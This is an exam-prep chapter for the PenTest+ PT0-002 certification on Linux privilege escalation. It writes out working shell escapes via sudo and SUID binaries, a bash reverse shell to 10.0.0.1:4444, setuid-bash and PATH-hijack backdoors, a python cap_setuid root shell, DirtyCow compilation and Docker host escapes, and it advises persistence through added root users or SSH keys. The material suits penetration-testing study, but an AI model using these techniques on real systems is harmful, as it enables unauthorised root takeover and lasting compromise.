Privilege escalation on Linux is a critical skill for penetration testers, as it often determines whether a low-level foothold can be expanded to full system compromise. This chapter covers the most common and exam-relevant techniques for escalating privileges on Linux systems, including kernel exploits, SUID binaries, misconfigured services, and password attacks. Approximately 10-15% of the Attacks and Exploits domain questions on the PT0-002 exam will test your understanding of these concepts, often in scenario-based multiple-choice questions.
Jump to a section
Imagine a high-security office building. The front desk (initial access) gives you a visitor badge that gets you into the lobby (unprivileged user). To reach the executive floor (root access), you need a special keycard. Privilege escalation is like finding a way to clone that keycard or trick the elevator into taking you to the executive floor. One method is to exploit a misconfigured elevator panel that doesn't check your badge properly (SUID binary). Another is to find a written-down master key in a supply closet (kernel exploit). A third is to wait for an executive to badge in and then slip through the door behind them (path hijacking). Each method bypasses the intended access control to grant you a higher level of clearance than you were assigned.
What is Privilege Escalation?
Privilege escalation is the process of gaining higher-level access to a system than initially obtained. On Linux, this typically means moving from a standard user account (e.g., www-data) to the root user (UID 0) or another privileged account. There are two main types: vertical escalation (gaining higher privileges, e.g., user to root) and horizontal escalation (gaining access to another user's account with the same privilege level). For PT0-002, the focus is on vertical escalation to root or a service account with sudo rights.
Why Does It Exist?
Privilege escalation vulnerabilities exist due to misconfigurations, outdated software, and design flaws in the operating system or applications. Common causes include: - SUID/SGID binaries: Programs that run with the file owner's privileges (often root) regardless of who executes them. - Kernel vulnerabilities: Bugs in the Linux kernel that allow arbitrary code execution with elevated privileges. - Misconfigured sudoers: Users granted excessive sudo permissions without proper restrictions. - Weak passwords: Easily guessable or crackable passwords for privileged accounts. - Unsecured services: Services running as root that can be exploited via command injection, path traversal, or other attacks. - Cron jobs: Scheduled tasks that run as root but are writable by lower-privileged users. - Capabilities: Linux capabilities assigned to binaries or processes that allow privilege escalation. - Docker/LXC escapes: Breaking out of a container to gain access to the host system.
How It Works Internally
When a user executes a binary with the SUID bit set, the kernel temporarily changes the effective user ID (EUID) to the owner of the file (often root). This allows the binary to perform operations that the user would not normally be permitted to do. The process runs with the privileges of the file owner, not the user who launched it. For example, the passwd command is SUID root because it needs to modify /etc/shadow, which is only writable by root.
A kernel exploit works by triggering a bug in the kernel code, often in device drivers, file systems, or system calls. When successful, the exploit executes code in kernel space, which has full access to system resources. This typically results in a root shell.
Key Components, Values, and Defaults
SUID bit: Represented by an s in the owner's execute position (e.g., -rwsr-xr-x). Set with chmod u+s.
SGID bit: Similar but for group, shown as s in group execute position (e.g., -rwxr-sr-x). Set with chmod g+s.
UID 0: The root user's numeric identifier.
sudoers file: Located at /etc/sudoers, edited with visudo. Syntax: user host=(run_as) command.
Linux capabilities: Fine-grained privileges like CAP_NET_RAW, CAP_SYS_ADMIN. View with getcap.
Kernel version: Check with uname -a. Exploits are version-specific.
Common kernel exploits: DirtyCow (CVE-2016-5195), CVE-2021-3493 (overlayfs), CVE-2022-0847 (Dirty Pipe).
GTFOBins: A curated list of Unix binaries that can be used to bypass local security restrictions (e.g., find, vim, awk).
Configuration and Verification Commands
Find SUID binaries: find / -perm -4000 -type f 2>/dev/null
Find SGID binaries: find / -perm -2000 -type f 2>/dev/null
Check capabilities: getcap -r / 2>/dev/null
Check sudo privileges: sudo -l
Check current user: id, whoami
Check kernel version: uname -a
List cron jobs: ls -la /etc/cron*, cat /etc/crontab
Check writable files: find / -writable -type f 2>/dev/null | grep -v proc
Check mount options: mount -l (look for noexec, nosuid)
Interaction with Related Technologies
Privilege escalation often involves chaining multiple vulnerabilities. For example:
A web application vulnerability (SQLi) gives initial access as www-data.
A misconfigured sudo entry allows www-data to run a binary as root without a password.
That binary (e.g., find) can be used to execute arbitrary commands via GTFOBins techniques.
Alternatively, a kernel exploit might be used if the kernel is vulnerable.
Container escapes (Docker, LXC) are also common. If a container is run with --privileged or has mounted the host's /dev/sda1, an attacker can break out to the host and gain root.
Step-by-Step Methodology
Enumerate the system to gather information about the OS, kernel, users, groups, network, running processes, and installed software.
Identify potential escalation vectors such as SUID binaries, sudo entries, cron jobs, writable scripts, kernel exploits, and capabilities.
Exploit the vector using appropriate techniques (e.g., running a command via GTFOBins, compiling and executing a kernel exploit, modifying a cron job).
Verify escalation by running id, whoami, or cat /etc/shadow to confirm root access.
Maintain access by adding a backdoor (e.g., SSH key, new root user, cron job).
Common Pitfalls and Exam Traps
Assuming all SUID binaries are exploitable: Only those that allow command execution or file read/write are useful. passwd is rarely exploitable.
Overlooking GTFOBins: Many candidates fail to check if a binary can be abused via GTFOBins.
Forgetting to check `sudo -l`: This is often the quickest path to root.
Ignoring writable scripts in cron jobs: If a script is writable by the current user and runs as root, you can replace it with a malicious script.
Misinterpreting capability values: cap_sys_admin is powerful, but cap_net_raw alone may not allow escalation.
Kernel exploits require compilation: The target system must have a compiler (gcc) or you must cross-compile.
Exam-Focused Techniques
GTFOBins: Memorize common binaries like find, vim, awk, nmap, python, perl. For example, find . -exec /bin/sh \; -quit spawns a shell if find is SUID or has sudo.
Sudo abuse: If a user can run sudo on a binary that allows arbitrary command execution (e.g., sudo vim), they can escape to a shell: :!bash.
Cron job exploitation: If a cron job runs a script that is world-writable, overwrite it with a reverse shell.
Path hijacking: If a cron job runs a command without an absolute path, create a malicious executable in a writable directory that is earlier in the PATH.
LD_PRELOAD: If you have sudo access to run a binary with environment preservation, set LD_PRELOAD to a shared library that spawns a shell.
Real-World Scenario
During a penetration test, you gain initial access to a Linux web server as the www-data user. You run sudo -l and see that www-data can run /usr/bin/find as root without a password. Using GTFOBins, you execute:
sudo find . -exec /bin/sh \; -quitThis gives you a root shell. If find were not available, you might check for SUID binaries with find / -perm -4000 -type f 2>/dev/null and find /usr/bin/pkexec. If the system is vulnerable to CVE-2021-4034 (PwnKit), you can exploit it to gain root.
Initial Enumeration
Run `id`, `whoami`, `uname -a`, `hostname`, and `cat /etc/os-release` to understand the environment. Check network connections with `ss -tuln` or `netstat -ano`. List running processes with `ps aux`. This baseline helps identify potential targets like old kernels or services running as root.
Check Sudo Privileges
Run `sudo -l` to list allowed commands. If any command can be run without a password and is listed in GTFOBins, you can escalate immediately. For example, `sudo -l` shows `(root) NOPASSWD: /usr/bin/vim`. Running `sudo vim` then typing `:!bash` gives a root shell.
Find SUID/SGID Binaries
Use `find / -perm -4000 -type f 2>/dev/null` for SUID and `find / -perm -2000 -type f 2>/dev/null` for SGID. Cross-reference with GTFOBins. If a binary like `/usr/bin/pkexec` is present and the system is unpatched, try CVE-2021-4034.
Check Kernel Exploits
Run `uname -a` to get kernel version. Search for known exploits using `searchsploit` or online databases. If the kernel is old (e.g., <3.2 for DirtyCow, <5.10 for DirtyPipe), compile and run the exploit. Ensure the system has gcc or use a precompiled binary.
Examine Cron Jobs
List cron jobs with `ls -la /etc/cron*`, `cat /etc/crontab`, and `crontab -l`. Look for scripts run as root that are world-writable. Also check `/etc/cron.d/` and `/var/spool/cron/crontabs/`. If a script is writable, replace it with a reverse shell.
In enterprise environments, privilege escalation is often encountered during internal penetration tests or red team engagements. A common scenario is compromising a Linux web server via a vulnerable web application (e.g., SQL injection or file upload). The attacker gains a shell as www-data. From there, they perform local enumeration.
Scenario 1: Misconfigured sudoers – The attacker runs sudo -l and finds that www-data can run /usr/bin/less as root. Using GTFOBins, they execute sudo less /etc/shadow and then type !bash to spawn a root shell. This is a classic exam scenario.
Scenario 2: Outdated kernel – The target runs Ubuntu 16.04 with kernel 4.4.0. The attacker uses DirtyCow (CVE-2016-5195) to overwrite a read-only file like /usr/bin/passwd with a shell. After compilation, running the exploit replaces the SUID binary with a root shell. This requires gcc on the target.
Scenario 3: Writable cron script – A cron job runs /opt/cleanup.sh as root every 5 minutes. The attacker checks permissions and finds www-data can write to it. They overwrite it with a reverse shell payload: `#!/bin/bash
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1`. After waiting for the cron job to execute, they receive a root shell.
Scale and Performance: In large environments with hundreds of servers, manual enumeration is impractical. Automated scripts like LinPEAS or Linux Exploit Suggester 2 are used to quickly identify potential vectors. These tools scan for SUID binaries, writable files, kernel vulnerabilities, and misconfigurations. They output a prioritized list based on risk.
Misconfiguration Consequences: If sudoers are too permissive, a low-privileged user can gain root. If cron scripts are world-writable, an attacker can execute code as root. If the kernel is unpatched, entire server farms can be compromised. Regular patching, minimal sudo rules, and proper file permissions are critical to prevention.
On the PT0-002 exam, privilege escalation on Linux is tested under Objective 3.4: Given a scenario, perform privilege escalation. The exam expects you to identify the correct technique based on a description of the environment.
Common Wrong Answers:
1. Choosing a kernel exploit when the kernel is patched – Many candidates see an old kernel version and immediately choose a kernel exploit without checking if it's patched. The exam may state the kernel is fully updated, so look for other vectors.
2. Overlooking GTFOBins – When a SUID binary is present, candidates may try a kernel exploit instead of checking GTFOBins. If the binary is in GTFOBins, that's the intended path.
3. Selecting a cron job attack when the script is not writable – The exam may describe a cron job but state the script is owned by root and not writable by others. Candidates still choose to modify it.
4. Misinterpreting `sudo -l` output – If sudo -l shows a command with arguments, candidates may think they can run any command. But the sudoers rule may restrict arguments, e.g., sudo /usr/bin/less /var/log/* only allows logs. The exam tests reading sudoers syntax.
Specific Numbers and Terms:
SUID bit: chmod u+s or permission 4755.
SGID bit: chmod g+s or permission 2755.
sudo -l shows allowed commands.
uname -a for kernel version.
GTFOBins website.
Common exploits: DirtyCow (CVE-2016-5195), PwnKit (CVE-2021-4034), Dirty Pipe (CVE-2022-0847).
Commands: find / -perm -4000 -type f, getcap -r /, ls -la /etc/cron*.
Edge Cases:
Linux capabilities: A binary with cap_setuid can change UID to root. The exam may ask how to exploit this.
Docker escape: If a container is running with --privileged or mounts /var/run/docker.sock, you can escape to host.
Path hijacking: If a cron job runs a command without absolute path, you can create a malicious executable in a writable directory earlier in PATH.
LD_PRELOAD: If you have sudo access to run a binary with environment variables preserved, you can load a malicious library.
Eliminating Wrong Answers:
If the scenario says 'system is fully patched', eliminate kernel exploits.
If you have sudo access to a command, that is likely the intended path.
If a cron script is not writable, do not choose that option.
If a binary is SUID but not in GTFOBins, it probably won't help directly.
Always run `sudo -l` first; it's the quickest path to root.
Use GTFOBins to check if a SUID binary or sudo command can be abused.
Kernel exploits are version-specific; verify with `uname -a`.
Check cron jobs for writable scripts that run as root.
Linux capabilities like `cap_setuid` can allow privilege escalation.
Docker escape requires `--privileged` flag or mounted Docker socket.
Path hijacking exploits cron jobs that use relative paths.
These come up on the exam all the time. Here's how to tell them apart.
SUID Binary Exploitation
Requires a binary with SUID bit set and an exploitable function.
Often simpler: just run a command from GTFOBins.
No compilation needed if binary is already present.
Lower risk of crashing the system.
Works on patched systems if the binary is misconfigured.
Kernel Exploit
Requires kernel vulnerability that matches the exact version.
Often requires compiling C code on target or uploading binary.
May crash the system if exploit fails.
Provides root shell directly.
Does not depend on user misconfigurations.
Mistake
All SUID binaries are exploitable for privilege escalation.
Correct
Only SUID binaries that allow arbitrary command execution or file read/write (like `find`, `vim`, `nmap`) are useful. Many SUID binaries (e.g., `passwd`, `ping`) are safe.
Mistake
Kernel exploits work on any Linux system.
Correct
Kernel exploits are version-specific. They require the exact kernel version to be vulnerable. Running an exploit on a patched kernel will fail or crash the system.
Mistake
If you can run any command via sudo without a password, you are root.
Correct
The sudoers file may restrict which commands can be run and with what arguments. For example, `sudo /usr/bin/less /var/log/*` only allows viewing logs. You must check if the command can be abused (e.g., `less` can spawn a shell with `!`).
Mistake
Cron jobs always run as root.
Correct
Cron jobs run as the user who owns the crontab. System cron jobs in `/etc/crontab` specify the user. Always check which user the job runs as.
Mistake
GTFOBins only lists binaries that are SUID.
Correct
GTFOBins lists binaries that can be used to break out of restricted shells or escalate privileges, regardless of how they are invoked (SUID, sudo, capabilities).
Reveal each answer, then mark whether you got it right. Score 60%+ to unlock the next chapter.
Run `sudo -l` to check if the current user has any sudo privileges. If a command can be run as root without a password, you may escalate immediately. Next, check SUID binaries with `find / -perm -4000 -type f 2>/dev/null` and cross-reference with GTFOBins. Also check kernel version with `uname -a` for potential exploits.
If `sudo -l` shows you can run a binary as root, check GTFOBins for that binary. For example, if you can run `sudo vim`, inside vim type `:!bash` to get a root shell. If the binary is `less`, type `!bash` while viewing a file. If it's `find`, use `sudo find . -exec /bin/sh \; -quit`.
DirtyCow (CVE-2016-5195) is a race condition in the Linux kernel's memory subsystem that allows a local user to gain write access to read-only memory mappings, leading to privilege escalation. To exploit it, compile a PoC (e.g., dirtycow.c) on the target system with `gcc -pthread dirtycow.c -o dirtycow` and run it. It will replace a SUID binary like `/usr/bin/passwd` with a root shell.
List cron jobs with `ls -la /etc/cron*` and `cat /etc/crontab`. Look for scripts that run as root and are world-writable. If you can write to the script, overwrite it with a reverse shell or a command that adds your user to `/etc/sudoers`. For example: `echo '#!/bin/bash cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash' > /path/to/script`.
Linux capabilities break down root privileges into smaller units. A binary with `cap_setuid` can change its UID to root. Use `getcap -r / 2>/dev/null` to find binaries with capabilities. If a binary has `cap_setuid+ep`, you can run it to set UID to 0 and spawn a shell. For example, `/usr/bin/python3` with `cap_setuid` can execute: `python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'`.
If the container is run with `--privileged` or mounts the Docker socket (`/var/run/docker.sock`), you can escape. With `--privileged`, you can mount the host filesystem: `mkdir /mnt/host; mount /dev/sda1 /mnt/host; chroot /mnt/host`. If the Docker socket is mounted, you can run a new container with host access: `docker run -v /:/mnt --privileged -it alpine chroot /mnt`.
Path hijacking exploits cron jobs or scripts that run commands without absolute paths. If a cron job runs `tar` instead of `/usr/bin/tar`, and the current user can write to a directory earlier in the PATH, create a malicious `tar` script there. For example, create `/tmp/tar` with `#!/bin/bash chmod +s /bin/bash` and then prepend `/tmp` to PATH: `export PATH=/tmp:$PATH`.
You've just covered Privilege Escalation on Linux — now see how well it sticks with free PT0-002 practice questions. Full explanations included, no account needed.
Done with this chapter?